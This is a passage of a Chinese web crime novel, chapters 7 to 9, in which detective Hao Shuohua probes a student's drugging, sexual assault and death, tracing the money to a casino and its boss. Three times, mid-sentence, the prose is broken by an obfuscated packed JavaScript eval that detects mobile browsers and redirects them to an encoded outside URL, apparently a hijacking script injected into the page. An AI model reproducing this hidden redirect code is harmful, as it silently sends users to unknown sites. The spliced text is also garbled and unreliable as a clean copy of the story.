“从王生的DNA提取对比,我们发现,崔冕腹中的胎儿,生父是他。” “不可能!”郝朔华大声反驳:“崔冕明明和……”楚瞳谈恋爱! 他后半句话说不出来,像是被这个报告惊呆了。 他接过许晖手中的报告,反反复复地查看,一遍又一遍询问许晖:“报告没出错吗?真的是他?” 许晖十分肯定:“从幼儿园恐怖袭击案,我们就对王生展开调查,因为有人匿名举报他尾随□□妇女,于是我们只是出于猜测,把他和崔冕的腹中胎儿DNA进行对比,哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495472|142115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道……” 哪知道就得出惊天谬论! 郝朔华还是不相信。 他明明刚从安亚那里回来,言之凿凿地听到安亚说,崔冕的男朋友是楚瞳,崔冕很期待和楚瞳的孩子,崔冕希望和楚瞳结婚给孩子一个完整的家! 他们那么确信自己的孩子即将出生,哪里来的王生什么事情?! 郝朔华脑中一个激灵,会不会是,这件事情才是导致崔冕跳楼自杀的真正原因? 崔冕发现自己的孩子不是楚瞳的,原本期待的幸福都化成泡沫,她无法接受自己的失败,所以她在怀孕综合征、抑郁症、强烈刺激下,想不通就自杀了。 郝朔华觉得这个结论逻辑很通畅,但还有些事情,需要查证清楚。 “郝队……” 周进拿着手机出来,觉得这个时候,不是汇报的好时间,可他如果此刻不说,等到郝队后知后觉地发现,那么情况就更糟糕了! “崔冕的案子有结论了。”许晖把手机递给郝朔华,让他翻看最新的官方通报。 他看着郝朔华面部扭曲,血管喷张,肢体夸张,猛地把老旧的手机丢出去,摊开手心:“承惠,八千八百八。” 郝朔华喷着火给许晖转账,才发现许晖的手机被他摔坏了,他从兜里拿出一张卡,摔在许晖的身上,一边大踏步走进分局,一边吼声震天:“谁出的通报?怎么可以不查清楚,就下结论!” “我!”洪曙光正好在前方等着他,拎着他的衣领进办公室:“从证据来看,这件事情已经很明了,崔冕就是被王生尾随□□,后来发现怀孕,孩子不是男朋友的,所以才跳楼轻生。” “崔冕是那么脆弱不堪的人吗?真正的原因一定不是这个!”郝朔华还想狡辩。 洪曙光怒拍桌子:“你还有没有理智,一定要在这件事情上面纠缠吗?上面已经下达报告,这件事情就这么结案,王生就是崔冕死亡的真正凶手,事实胜于雄辩,不要再被自己的感情左右理智!” 郝朔华艰难地撑着膝盖,粗重呼吸,好半天从嗓子里蹦出一句:“那么,谁给崔冕发的信息,告诉她这个事实,压倒她最后一根稻草,幕后黑手就不查了吗?” “凶手是王生,要我说几遍!”洪曙光反复强调。 郝朔华知道不是的,最后发给崔冕的那条短信,一定不是王生发的。 是谁在操控这一切,让真相掩埋在浓雾之下? 网上对案情的讨论,日渐激烈。 原本崔冕的案件过去几天,已经没有那么多人关注,大家在吃新的瓜,注意新鲜的事情,对崔冕的同情,只来自于稀少几句关怀,可官方和学校的双重通报一发出来,还是让人猝不及防地掉入陷阱。 “原来凶手是惯犯!以前就经常干尾随□□妇女的事情,一直没抓获,如今落网了!” “凶手已经死了,据说是午夜梦回,被索命的崔冕吓破胆,为了赎罪,自己捅胸口好几刀!” “大快人心!只要正义得到伸张,犯罪得到惩罚,真相就一定会存在!” “我怎么听说,王生就是崔冕的校外男朋友,两人因为情感纠葛,所以才先后赴死?” “楼上别造谣了行吗?给崔冕一个干净的落幕,不要什么脏水都往女性身上泼,她才不是自甘堕落的人!” “快看快看,王生的前妻发声了!” 因为网友神通广大,什么都能扒个底朝天,王生落网,王生的过去也被扒出来,王生的前妻原本不理会这件事情,但有人打扰她的儿子,去学校辱骂儿子是□□犯的种,以后也会是□□犯,王生的前妻依法维护自己的权利,对诽谤侮辱的人提起诉讼,并对网络公开声明:她早已经和王生离婚,王生是什么样的人,她尝过苦头,如今王生得到报应,是他咎由自取。但孩子是无辜的!希望网友们放过她和儿子,还母子一个平静的生活。 网友才不管别人想不想要好好生活,他们的发泄需要渠道,正好朱英也去堵王生的前妻和儿子,让他们偿命,网友们看热闹不嫌事大,立即涌到王生前妻和儿子面前,大肆发泄。 王生的前妻和儿子没办法在国内待了,只能办理出国手续。 邱红依被保释候审,很快也要被放出来,而崔冕的案件还存在诸多疑点,却只能由一个死无对证的王生堵住缺口,草草结案。 关于崔冕的绯闻男朋友,似乎所有人都遗忘了,没人记得他,没人追究他,没人去查证这个隐匿黑暗的人,他藏在最深处,谁也看不见。 7. 黄洁 “二老板怎么有空到我这座小庙?还查账本?”白愔接到黄洁,将人安排在天字包厢,刚坐下还没点菜,黄洁就命人将金碧辉煌的账本拿出来。 “我查自家的账本,有什么问题?”黄洁对这个巴结哥哥上位的女人十分看不上眼。虽然白愔长得十分漂亮,脸上带着英气,有一股飒爽的美丽,但她就是觉得,白愔接近哥哥,没安好心。 “当然可以,二小姐想要白账本,还是黑账本?”白愔准备充足,即便是黄洁突然袭击,她也应对自如:“白账本是对外公开,黑账本只有自家人才能知道。” “我哥哥也知道两个账本吗?”黄洁没有想到,白愔这么坦荡,倒显得她咄咄逼人,气势减弱,“我两个账本都要查看,别让我发现你对账本做手脚!” 白愔失笑,对黄洁的心直口快并不往心里去。她知道,黄洁就是一个被宠坏的小孩,虽然有黄龙一直派人近身保护,可黄洁的脑子,还是很容易被人利用。 “这件事情需要通知黄总,二小姐稍等。”白愔借口出去,让人查探,黄洁身边最近多了什么人,是谁在她耳边煽风点火,这才给黄龙去电,得到允许,才把两个账本都给黄洁查看。 黄洁看着密密麻麻的数字,根本算不清楚,这一季度又盈利多少,报表和税务都不懂。她正想招手,让那个谁,最近一直往她身边贴的帅哥,来帮她计算盈亏。手下的人告诉她,那个帅哥傍上富婆,把她抛弃了,人现在已经在国外了。 “什么人啊?哄我的时候一套一套的,看不见钱就跟别人跑了!垃圾!”黄洁嘟囔,不想让白愔看笑话,她冷哼一声,硬着头皮算完一天的账目流动。 “二小姐饿了吗?要不要先吃点东西?”白愔看黄洁坐不住,屁股在凳子上磨来磨去,眼睛也频繁看向窗外,恨不得跳楼逃走,实在是为难二小姐百忙之中动一天脑子,她见好就收,顺便把梯子扶好。 “那就尝尝你新改良的菜色吧!我听说你把董大厨开了,为什么?”黄洁矜持地把账本还给白愔,还不断挑刺:“要我说啊,你就是瞎折腾,明明董大厨在金碧辉煌干了将近十年,都成老员工了,你还把人家开除,有你这么黑心的老板吗?” “董大厨的事情,是他手脚不干净,往客人的饭菜里面下药,我们金碧辉煌虽然是从事灰色地带的业务,但也不能拿人命开玩笑,会被警察找上门的。”白愔不咸不淡,把近期人员调动给黄洁解释一句,顺便帮她添一碗汤。 黄洁对于产业被警察盯上,也是心有余悸,她跟她哥哥一样,因为做着违法犯罪的买卖,就对警察特别敏感,而即便日日担惊受怕,却还是忍不住想在巨大的利益浑水里面摸鱼,用生命在捞钱。 “那,那他开除就开除吧,下次你招人的时候,要睁大眼睛,不要什么人都招进金碧辉煌!”黄洁即使心里同意白愔的做法,嘴上也要刺两句,“我就不同了,我招人只看名牌顶尖学校毕业的大学生,还要长得帅三观正的好人,只有心地善良才能干好我们这一行!” “是,我还要向二小姐多多学习。”白愔恭维黄洁一句,见她已经吃好了,起身主动引路,“二小姐匆忙到北城,没有来得及安排最好的酒店,只能委屈二小姐住在金碧辉煌的顶楼,黄总的套房。” “那多不好意思,那不是哥哥和你的房间吗?”黄洁嘟嘴,“自从哥哥有了你之后,他就不关心我了,还总是往外跑,把我丢给你照顾,我怀疑你才是他的亲人。” “二小姐开玩笑,黄总最爱的人永远是你。”白愔斩钉截铁,同时上前给黄洁摁电梯,亲自送她到房间,里面已经有按摩师和美容师在等候,会让黄洁度过一个愉快的夜晚,“二小姐早点休息,有什么事情随时叫我。” 黄洁开心地扑倒床上,被一群人伺候得舒舒服服。 白愔回到办公室,给黄龙回电话,多数在说黄洁的事情,包括处理掉黄洁身边的一个不怀好心的人,白愔也没有隐瞒,黄龙安静地听着,并不打断,直到正事告一段落,白愔想要挂电话,黄龙才说一句:“你辛苦了,等我回来,你就能轻松一点。” 白愔的手指蜷缩,她冷淡地看着窗外的夜色,总是想在千万盏灯火里面找到属于她的光芒,但她知道,那束光早已熄灭了。 “黄总早点休息,我等下还要去查房。”白愔冷静地说完,不等黄龙还有话要说,率先挂断电话。 她刚挂完电话,黄洁就推门进来,身上穿着蕾丝睡衣,姣好的身材在半透明的吊带裙下,显得诱惑勾人。谁也不敢拦着黄总的亲妹妹来找白老板。 白愔给黄洁披上外衣,叮嘱她不要着凉。 黄洁翻白眼,抱紧白愔的胳膊,娇俏地说着:“白姐姐,我今晚要跟你睡,你不能拒绝我!” 她总是这样,找麻烦的时候十分无理取闹,但是想要人陪伴的时候,又能变身不谙世事的小女孩,总是能把人拿捏住。 “我等下还有工作,要不,我找个人陪你?”白愔摸着黄洁的头发,轻言细语,跟哄妹妹一样。她找的人可不是黄洁身边那种主动贴过去想要骗色骗钱的渣男,至少干净清纯的男大学生,会馆里面也不是没有。 “我不要嘛,我就是要跟你睡!”黄洁纠缠白愔,眼睛亮闪闪地看着沉稳淡定的白姐姐。她觉得白姐姐很厉害,白天怼她的时候很厉害,夜晚工作的时候更加厉害。就算白姐姐对哥哥不怀好意,也是哥哥占便宜了。 黄洁有点吃醋。 “乖,等你大哥回来,他会抽出时间陪你好好玩。”白愔依然不动声色,把念念不舍地黄洁交给信得过的人去照顾,她真正的工作才开始。 郝朔华蹲到白愔的时候,她正陪着黄洁在沙滩上冲浪。比基尼把白愔完美的身材展露无遗,郝朔华是个直男,但他不敢多看一眼。 “郝队。”白愔披着浴袍走过来,无视黄洁对她见陌生男人的愤怒,邀请郝朔华在太阳伞下落座,递给他一瓶汽水,“是有什么案情需要我配合吗?” 郝朔华不敢喝她递过来的汽水,只是拿在水上把玩,漫不经心:“听说,你们金碧辉煌开除一批厨师?” 白愔喝水的动作一顿,回头看着郝朔华,巧笑嫣然:“郝队的消息真灵通。” 而他敢问到她面前,就是他已经把一切都查清楚了,包括大厨在金碧辉煌犯了什么事情,因为什么内情才被开除。他从不打没准备的仗,今日能够找到她面前,就是想跟她把事情摊开说。 “我想知道,董大厨为什么失踪了?”郝朔华盯着白愔的眼睛。 “董大厨失踪了吗?我才知道。”白愔不闪不避地回视他,“你如果要问我,是不是我对董大厨做了什么,我可以告诉你,不是我。” “那是谁?”郝朔华逼问,“除了你,还有谁有那么大的手段,能把一个活生生的人从北城消失!” “郝队这话说的,像是我天上地下无所不能。”白愔轻嘲一声,再次回答,“真不是我。” 郝朔华有一种很强的识人断案能力,他能从一个人的眼睛、神态、举止,判断这个人是否说谎。而他从白愔身上,看不出丝毫伪装的痕迹。 “你说的最好是真的。”郝朔华把汽水搁下,站起身想走。 “奉劝你一句。”白愔在身后幽幽开口:“不要把后背交给任何人。” 话音刚落,白愔突然出手,抓住郝朔华的手臂就是一个过肩摔。郝朔华反应也很快,几乎在白愔动手的时候,风声传来她的偷袭,他就已经侧头躲过,而她的横踢刚到面门,他已经扭身躲开,并跟她拳头碰拳头,眨眼间过了几招。 白愔几乎很久没有这种感觉,肾上腺素飙升的感觉,她很多年没有体验过,她很怀念这种熟悉的对抗,并且庆幸眼下就有一个人,可以扛过她的出招。 “不错,再来。” 白愔语气兴奋,脸上出现璀璨的笑容,这是她加入金碧辉煌之后,从来没有表露的神态。黄洁站在不远处,看着两人嘭嘭嘭的打架,她搞不懂,好好地出门散心,怎么会演变成白姐姐和一个臭男人在沙滩扭打。 两个人的身上都沾染黄沙,看起来像是两条蠕动的大虫,而白姐姐在打斗中,已经把浴袍抛下,近身肉搏将那个看起来高她一个头,比她粗壮很多的男人摁在地上狂揍。 “好,好!”黄洁在远处不停拍手,拿出手机记录白姐姐英勇无敌的一面,并把视频发给哥哥,想要得到哥哥的夸奖。哥哥地回复也很快,他应该是看完视频,立即就给回应。 “小白厉害。”黄龙简洁明了地赞美白愔,在他心中,白愔就是世间最完美的女人。 “哥哥是不是又心动了?”黄洁跟哥哥打趣,翘起嘴角:“你能得到白姐姐,是你几世修来的福分!” 黄龙也没有反驳妹妹,给这条消息点个赞。 黄洁放下手机,看到白姐姐都快把人打死了,赶紧上前劝架:“白姐姐别打了,他快没气了!” 白愔哼笑一声,胳膊箍住郝朔华的脖颈,在黄洁看不到的视线死角,嘴唇翕动一下:“董大厨给崔冕下迷药。” 郝朔华想要挣扎,被白愔死死捆绑:“你想要查他,就得从赌场查起。” 郝朔华的嘶吼扭动更加厉害,但他如何用力,也挣不脱白愔状似轻松的反绑:“我告诉你这个消息,是让你别查了,你动不了上面的人。” 郝朔华的动作忽然停止,并在白愔轻拍他脸颊的时候,他仰头看了白愔一眼。 白愔幽深的眼神,在傍晚的余晖下,浮动出灿金的光芒。里面的情绪一闪而过,他抓不住。 “走吧,别回头。”白愔起身,把一瓶汽水丢给郝朔华,郝朔华接过汽水,拧开喝一口,头也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495473|142115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没回地离开。 就在他回家换衣服,把自己重新打理成一个稳重的刑警队长,接到同事线报,董大厨找到了。 董大厨是在一个废弃工厂找到的,临近郊区,这一片平时根本没人,董大厨不知怎地喝多了酒,自己开车来到废弃工厂。醒来的时候,他主动报警,说是有线索要向警方提供。 郝朔华到达审讯室的时候,董大厨已经把该交代的都交代了,据他所说,他被金碧辉煌开除,是因为对一个女生下药,而那个女生就是前不久跳楼轻生的崔冕。 “我也没想到,他们会那么残忍,如此折磨那个女生。”董大厨后悔不已,“我家里孩子上学,要疏通关系,一般人根本没条件就读贵族学校,所以当有人找到我,给我一笔钱,让我给一个女生下致幻药,我犹豫几天,就同意了。” 郝朔华坐在审讯室里,冷淡看着勃颈上还有勒痕的中年大叔,这种伤痕与他脖颈上的痕迹一致,都是被人暴力所致。 他也不问别的,紧抓核心:“你不止一次对她下药吧。” 中年大叔瑟缩一下,对着这个脸上脖颈上暴露严重伤痕的刑警,他自己都不知道该怎么说,“我……我只是被人威胁!”而被谁威胁,他却不愿意说了。 郝朔华拿出照片,让大叔辨认,大叔在看到王生的照片时,脸上露出明显惊恐的神色。 王生和董大厨是在赌场认识,因为两人臭味相投,很快就聊得投机,而董大厨向王生炫耀,他在金碧辉煌的工作经历,并说里面很多高级妓女都是名牌大学研究生。 王生很想尝尝鲜,正好盯上崔冕,于是崔冕就被两人联手,不止一次被下药迷晕,带到出租屋实施暴行。而王生不仅自己对崔冕□□,还把朋友也带来,崔冕遭受惨无人道的折磨。 董大厨自己没有下场,但是他看到不该看的东西,事后有人找他麻烦,他就寻求金碧辉煌的帮助,没想到反被白愔查出下药之事,被迫解雇。 “我跟王生是通过别人介绍认识的,那个人很神秘,每次和我们通话都用伪音,听起来像是一个上年纪的老人,我拿钱,王生办事,我们合作愉快,可事后那个人却说不结尾款,因为……因为……” “因为崔冕死了。”郝朔华代替他回答。 在看不见的阴暗角落,总是有无数的犯罪在发生,而犯罪总有尺度,在一定界限内,并没有人会觉得,折磨一个花季女生会遭遇多么大的惩罚。 反正几千年来,女性无非都被绑架在性之上,但凡与性沾边,都是女性的错,男人只是没忍住诱惑。 王生和董大厨的合作,开始可能源于金钱和性的诱惑,但后来,他们尝到犯罪的甜头,这种刺激的滋味一再让他们上头,所以他们收手不住,加大尺度,最终导致崔冕死亡。 人命官司,这下闹大了,谁也保不住。 “我错了,郝警官,我真的知道错了!我还有父母孩子要养,我不能没有工作,我小孩才四岁,我们家只有我一个人赚钱,我不能出事啊……” 现在知道错了,早干嘛去了。 周进对董大厨这种人,恨不得他去死一万遍! 郝朔华把董大厨的口供完整看一遍,合上本子,“你还有什么要交代吗?” 董大厨瑟缩地往后面退,看着郝警官的样子,他恐怕很难出去,不由病急乱投医:“郝警官,我会被判几年?” “这不好说。”郝朔华模棱两可,一来是对董大厨的口供,他不是完全相信,二来,他觉得,董大厨还有案情没交代。 “如果,如果我争取减刑,郝警官能帮助我吗?”即便是罪大恶极的罪犯,在走投无路的时候,也只能寻求警察的帮助。 “要看你提供什么线索。”郝朔华说:“你如果能帮助我们破案,抓住真正的凶手,法院会酌情减刑。” “我知道那个杀人凶手!”董大厨猛地说,身体往前倾,语气激动,眼神暴凸:“我跟踪过她,就算她用伪音,屏蔽IP地址,我还是知道她是谁!” “是谁?”郝朔华猛地握紧拳头,等待董大厨说出那个名字。 “北城医学院,研二学生,晚静。”董大厨一字一顿地说。 郝朔华倏地放松身体,看着董大厨,让人把他带下去。 周进走到郝队的身边,看着他脸上的伤口,什么人能把警队一枝花打成这个样子,他真该去好好膜拜! “郝队,擦点药吧,你脸上的伤痕太明显了。”周进把铁打损伤药递给郝队,看着队长往外走,赶紧跟上去,“郝队,我们现在去抓捕晚静吗?” “不用,晚点。”郝朔华拿着口供,拍在许晖桌子上,“来活了。” 许晖看几眼他脸上的乌青,实在是两个熊猫眼太明显了,许晖不由想,需不需要借助一笔资金,给郝队去医院挂个号。 8. 晚静 “你脸怎么回事?”许晖首先问郝朔华的伤情,毕竟比起董大厨的口供,郝队遭受的人身威胁更加严重。 “我没事,撞电线杆了。”郝朔华语气轻松,根本没把自己招摇过市的伤痕放在心上,他还用手按压一下嘴角,疼得嘶一声,脸上却露出笑容。 许晖觉得郝朔华心理出问题了,不然不可能露出这么狰狞的神态。 “你让我看口供,是希望我带人抓捕晚静?”许晖询问郝朔华的意思,这种事情难道不是随便一个人带队都行吗? “不,我让你查晚静的转账记录!”郝朔华眼神明亮:“晚静一个普通家庭,父母工资都不高,底下还有一个弟弟要养,她哪里有钱雇人行凶?” 许晖总算找到前后逻辑不通之处,他指着口供上的信息,“你是说,晚静是被人诬陷,替人顶罪?” 郝朔华没说是,也没说不是,只是用本子戳着许晖的肩膀,让他赶紧行动,不要婆婆妈妈。 许晖去找技术部了,周进拿着跌打损伤药,任劳任怨地给郝队敷脸。郝朔华躺在椅子上,半眯着眼睛,短暂地放空一下。 许晖很快拿着转账记录出来,果然有问题,晚静的巨额转账记录皆来自于一个境外账号,而那个账号关联的公司,只有一个空壳公司,并且这个公司早就注销了。 奇怪的是,这个公司半年前,也给一个账号汇过款项,虽然用的不是实名,但是七大姑八大姨查下去,很快锁定一个对公账号。 ——鑫荣赌场。 郝朔华带着周进,叫上两个同事,这才赶去北城医学院提人。 晚静像是早就知道,警察会找到自己,已经做好准备,在宿舍里化好妆等待郝队。郝朔华进门的时候,她还扬起笑脸打招呼:“郝队,好久不见,甚是想念。” 也不过几天没见,晚静现在的神态可比上一次镇定多了。 她是受到什么人的指示,还是说,她已经得到足够的回报,所以对接下来面临的一切,都不再害怕? “晚静,这是第二次对你进行依法传唤?”郝朔华拿出传唤证,把晚静带到安静的房间,“你是自己交代,还是我们提问?” “郝警官有什么问题,就尽情问吧。”晚静才不会主动交代,她自己都不完全知道事情的真相,又怎么会一老一实地交代。 “好,你账号里这么多笔巨额汇款,是怎么来的?”郝朔华亲自做笔录。 “打工挣的呗!”晚静死猪不怕开水烫,“赌场里面,一盘就可以挣几十万,赌徒的钱可真好挣啊,只需要打扮漂亮,摇曳生姿,钱还不是哗啦啦的流过来。” “你在赌场打工,具体做什么?”郝朔华注视晚静的神态。 “就是摸摸胸,摸摸大腿,捏捏屁股啦,不会真干上的啦!”她越说的暴露,像是越对自己的保护,就不会有人试图关心她的内心,而是只注重她的外表。 “你和崔冕,是谁介绍你们进入赌场工作?”郝朔华紧接着问:“你们在赌场,没有遭人胁迫吗?” “哪里会有人胁迫,都是自愿的啦!”晚静翘起兰花指,像是风尘女子,“我们想要更多的钱,就要付出更大的代价,而这种代价,因人而异。我和崔冕当然是自己找上门去应聘的,毕竟谁都喜欢高学历高智商还长得漂亮的女大学生。” 她回答地无懈可击,滴水不漏,可郝朔华知道,这一切都不是真的。 他停下做笔录的手,身体后仰,语气放松,状似大哥哥和小妹妹谈心,“你父母来看过你吗?” “什么?”晚静没想到,郝队长不问关于案子的事情,转而询问她的家人,她憋不住,两只手搅在一起,“跟这件事情有什么关系?” “怎么会没关系?你这么拼命的挣钱,难道不是给弟弟花?而你因为牵连命案,这么久了,你的父母没有联系过你一次。”郝朔华说:“你的父母不关心你,只关心弟弟,所以即使知道你在非法场所工作,只要你能带来钱,他们也不会反对。” 晚静没有立即回答,而是思考一下,才反对:“不是这样的,爸爸妈妈当然关心我,但是弟弟还小,他们需要花更多的精力照顾弟弟,而我长大了,理所应当应该承担起抚养家庭的责任。” “这是你父母对你说的话?”郝朔华冷笑一声:“你好歹是一个重点大学的研究生,连这些话的真心和假意都分不清?” “你凭什么这么说!难道你是我的父母,你知道他们怎么想的吗?!”晚静忽然爆发,情绪失控地大吼大叫:“他们就是关心我,疼爱我,所以才供养我读大学,把我培养成重点大学的研究生!而我已经24岁了,我该承担起养家的责任,我该抚养弟弟!” “你简直没救了。”郝朔华不再询问,而是提笔在本子上记录什么。 晚静见他不提问,自己反而慌了,想要凑近看清楚郝朔华在写什么,又被两个女警按住,她动弹不得,只能对着郝朔华输出:“你根本不懂,我从小到大,享受到父母多少的偏爱,因为我的独生女,家庭中产,所以父母所有的爱都给到我,我才不是崔冕那个低保户死爹的贱人,她才是活该被人抛弃的杂碎!” “从你弟弟出生,你所有的爱都消失了吧?”郝朔华并不动怒,甚至面对晚静的歇斯底里,他有一种沉寂的平静,“如果你一直是你父母唯一的女儿,那你能一直享受他们的偏爱,你也不会进入赌场工作,更不会牵扯命案还被他们不闻不问。” “不是这样的,不是这样……”晚静喃喃自语,抱着自己的头,十分痛苦:“我明明有疼爱我的父母,我有一个完整的家,我不可能和崔冕一样,需要独自支撑起自己的天空,才走入绝境。” 郝朔华立即抓住机会:“崔冕是被你介绍进入赌场?” “不……”晚静刚回答一个字,立即意识到被郝队长套话了,她立即端坐回椅子上,整肃自己的仪容,不让自己看上去像一个女疯子,“郝队长提问完了吗?我累了,想休息。” 郝朔华知道这是唯一的机会,如果不能从心里破防的晚静这里得到有用信息,他们的查案会陷入死局。 “我整理一下你的汇款记录,其中,从鑫荣赌场给你的转账,你拿到至少百万酬劳,但是从你给父母的转账记录,只有几万到手。”郝朔华问:“其余的钱,你转给谁了?” 晚静眼神闪烁一下,并不跟郝朔华对视,而是闭上眼睛打算冷漠应对。 郝朔华拿出ATM取款 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495474|142115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机照片,推到晚静的面前:“我们发现,学校附近的银行和取款机,都有你的取款记录,而这么大一笔钱,你却带在身上,小几十万,难道凭空飞走了?” “说不定被我砌到墙里面了呢?”晚静开一个玩笑,又闭上眼睛。 “我们从你的宿舍,找到藏在床下的钱,就放在鞋盒里面。”郝朔华让周进把证物拿进来,打开给晚静看,“这么一盒子钱,确实比不起一百万,但是对一个女大学生来说,也不少了吧,你怎么会把它轻松扔在鞋盒里面,就放在床底,不怕人偷走吗?” 晚静冷笑一声。 郝朔华继续提问:“你最后一次取款,应该是在崔冕出事前一星期,那期间你哪也没去,就待在学校,如果那笔巨款还没被转移,现在应该还在宿舍。” 晚静的眼皮剧烈波动。 “我们找到你的行李箱,里面鼓鼓囊囊全是钱,你是想通过现金转移给谁?”郝朔华最后一击:“说!是谁和你联手,迫害崔冕?” 晚静自从看到粉色的行李箱被推进来,就整个人陷入焦躁。她站起来,想要在审讯室里来回走动,又被女警按回座位,她咬着手指,不断地喃喃自语:“不是我,不是我,不是我……” “你还要隐瞒到几时?你以为我们只有这点证据吗?”郝朔华把学校监控,以及出入校门的记录摆在晚静面前,由不得她不承认,“你还想替谁顶罪?” 晚静看到学校大门外,一辆黑车把拎着行李箱的邱红依接走,彻底地瘫倒在座位上,一句话也说不出来。 郝朔华地食指点在照片上,看着上面的日期:“每次你大包小包回宿舍,邱红依总会带着行李箱回家住几天,你们的配合很默契啊。” 他简直要惊叹两人的天衣无缝:“你还等着邱红依出去后,把最后一笔赃款拿走?我告诉你,她出不去了。” “一旦另一个嫌疑人翻供,他是收受邱红依的钱,才行凶作案,那么你的关系就大了。”他继续摆出许晖同步查封鑫荣赌场,得到的监控视频证据,以及一些照片,其中一张,就有邱红依,“她和照片上的男人,关系不浅吧?你们是怎么认识黄龙?又和他存在什么勾当?你是老实交代,还是罪加一等?” “不!”晚静被问到崩溃:“不是我,我不知道,我什么都不知道……” 郝朔华让周进去通知警局,扣留邱红依的保释申请,并正式提起刑事拘留。 周进出去一会儿,带回两个消息,一个是邱红依已经被转移到重大嫌犯关押室。另一个是…… “队长,董大厨在关押室被嫌犯勒死了,据说是抢地盘。”周进不忍看郝队脸上的神色,压低声音:“他现在尸体就在警局,要通知家人认领吗?” 郝朔华哗地站起,又因为晚静看过来,他克制地坐下。 “郝队长,你说这几张照片是证据,我怀疑照片是P的。”晚静指着照片上的背影,淡定顺气:“这么糊的照片,还只有一个背影,谁知道不是有人故意污蔑陷害?” 郝朔华看着晚静重归平静的面庞,他再也忍不住,猛地打开门冲出审讯室,而邱红依刚好被人带着转移关押室,两人在过道碰上,邱红依对郝朔华露出一个嘲讽的笑容。 9. 黄龙 许晖看着迎面走来的男人,这个男人不大,不超过四十岁,保养得当,再加上风度翩翩,看起来很有一种儒雅俊朗的气质。 许晖正在跟郝朔华通话,对面声嘶力竭地告诉他,一定要抓住黄龙,把黄龙带回警局问话,可许晖也知道,现在还不是抓捕黄龙的好机会。 “黄总。”许晖笑着上前和黄龙握手,并把郝朔华的电话挂断,他的声音和语气都全无问题:“黄总什么时候回的北城,我们局里没接到消息。” 对于市里重点监督对象,黄龙和金碧辉煌都是刑警严加关注对象。而黄龙的行动,包括他飞往国外的交易,以及他最近又谈成什么项目,都在局里过了一遍。 可以说,黄龙的一切事迹都被放在明面上,他不管做什么,都在警察的监视范围内,而奇怪的是,黄龙最近几年,一直很低调,似乎没犯法。 许晖笑对黄龙,知道这才是一只大老虎,小心翼翼应对。 “许副队。”黄龙跟许晖也很熟,毕竟两人打交道这么多年,若是市里最大的商人和警察没点关系,那才是奇怪,“什么时候升为队长了,我也没得到消息。” 黄龙日常离间许晖和郝朔华的关系,对两人升职加薪的速度,包括评优的职称,以及进入警队工作的年限,都要被他拉出来进行对比。 许晖每次都很稳得住,对于输给郝朔华这件事情,他早已认命,或许年轻时候有点不甘,这么多年看着郝朔华屡次碰壁,又屡次艰难地站起来,他都要怜爱郝朔华了,哪里还会有半分嫉妒。 他就当个稳稳地二把手就行,至于风暴和刀枪,让一把手郝朔华承担吧。毕竟,能力越大,责任越大。 “黄总开玩笑,我只是暂代队长。”许晖从容回答,握住黄龙的手晃两晃,“倒是金碧辉煌,又要上一个台阶。” 黄龙这次在东南亚进行投资,一个几百亿的项目,他说挥手就挥手,眼都不带眨一下。 众人都在猜测,金碧辉煌到底多有钱,才能让黄龙在全世界进行投资。 “不过是一个旅游度假项目,我妹妹喜欢,就当给她的24岁生日礼物了。”黄龙说的还是简单,他给妹妹的礼物,以及给白老板的礼物,这几年间,可是震惊一众人啊。 “黄洁要过生日了?恭喜恭喜,如果那天有时间,我也给黄洁送上生日礼物。”许晖并不抬高身份,警察给犯罪头子的妹妹过生日,这简直是再正常不过的社交。也是一种拉近关系的手段,更是查探内幕的最佳渠道。 “不用许副队破费,那天你人能来就行,礼物就不必带了。”黄龙还有事要回家,对和许副队站在风里吹冷气,他没有闲心,也没有情调,“哦,记得带上郝队,很久没见他了,挺想念的。” 他似乎是随意提起郝朔华,许晖的脸却冷淡下来。 看着黄龙带着手下,一群人浩浩荡荡地离开,许晖不得不收队。 “副队,咱们就这么走了,什么都没查到,郝队会不放过咱们吧?”许晖手下的一个小警察,名叫嘉明的,对郝朔华抱怨不迭,“郝队把查封赌场这么艰巨的任务交给咱们,他却只是去医学院提审一个女大学生,这也太不公平了吧?” “闭嘴!”许晖呵斥嘉明,冷冷扫他一眼:“再让我听到你对郝队的抱怨,你就亲自去他面前叨叨。” 嘉明也知道,许副队就是说说而已,他说队长的坏话也不是一天两天了,如果副队要收拾自己,也不会现在都没实际行动。 他壮着胆子开口,也是真心为许晖打抱不平:“副队进入警局工作,比队长早几年,办案件数和速度也是队长的几倍,年度警员评分也比队长高,就凭郝队是退休领导郝局长的孙子,他就能当上队长,副队却一直屈居二把手,这也太窝火了。” 